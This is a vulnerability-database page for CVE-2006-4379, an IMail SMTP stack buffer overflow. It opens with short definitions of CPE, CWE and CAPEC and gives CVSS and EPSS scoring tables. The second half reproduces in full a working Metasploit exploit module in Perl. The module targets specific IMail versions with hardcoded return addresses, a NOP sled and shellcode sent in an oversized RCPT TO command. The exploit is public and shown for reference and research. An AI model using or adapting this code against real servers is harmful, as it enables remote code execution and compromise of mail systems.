CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Stack-based buffer overflow in the SMTP Daemon in Ipswitch Collaboration 2006 Suite Premium and Standard Editions, IMail, IMail Plus, and IMail Secure allows remote attackers to execute arbitrary code via a long string located after an '@' character and before a ':' character.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
40.59%
–
–
2022-02-13
–
–
40.59%
–
–
2023-03-12
–
–
–
96.5%
–
2023-06-11
–
–
–
96.54%
–
2023-11-05
–
–
–
96.45%
–
2024-02-11
–
–
–
96.45%
–
2024-03-24
–
–
–
96.52%
–
2024-06-02
–
–
–
96.23%
–
2024-08-04
–
–
–
96.09%
–
2024-12-22
–
–
–
93.81%
–
2024-12-29
–
–
–
93.56%
–
2025-01-19
–
–
–
93.56%
–
2025-03-18
–
–
–
–
36.67%
2025-03-30
–
–
–
–
57.03%
2025-04-27
–
–
–
–
60.57%
2025-05-01
–
–
–
–
61.23%
2025-05-01
–
–
–
–
61.23,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info = {
'Name' => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 25],
'Encoder' => [1, 'EncodedPayload', 'Use Pex!!'],
},
'AutoOpts' => { 'EXITFUNC' => 'seh' },
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0d\x0a\x20\x3e\x22\x40",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),
'Refs' =>
[
['BID', '19885'],
['CVE', '2006-4379'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-028.html'],
],
'Targets' =>
[
['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12
],
'DefaultTarget' => 0,
'Keys' => ['smtp'],
'DisclosureDate' => 'September 7 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $ehlo = "EHLO " . "\r\n";
my $mail_from = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";
my $pattern = "\x20\x3c\x40";
$pattern .= pack('V', $target->[1]);
$pattern .="\x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
$pattern .= $shellcode;
$pattern .= "\x4a\x61\x63\x3e";
my $request = "RCPT TO: " . $pattern ."\n";
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using pop eax, ret at 0x%.8x...", $target->[1]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
my $r = $s->Recv(-1, 5);
$s->Send($ehlo);
$self->PrintLine("[*] I'm sending ehlo command");
$self->PrintLine("[*] $r");
sleep(2);
$s->Send($mail_from);
$self->PrintLine("[*] I'm sending mail from command");
$r = $s->Recv(-1, 10);
$self->PrintLine("[*] $r");
sleep(2);
$s->Send($request);
$self->PrintLine("[*] I'm sending rcpt to command");
sleep(2);
return;
}
# milw0rm.com [2007-02-04]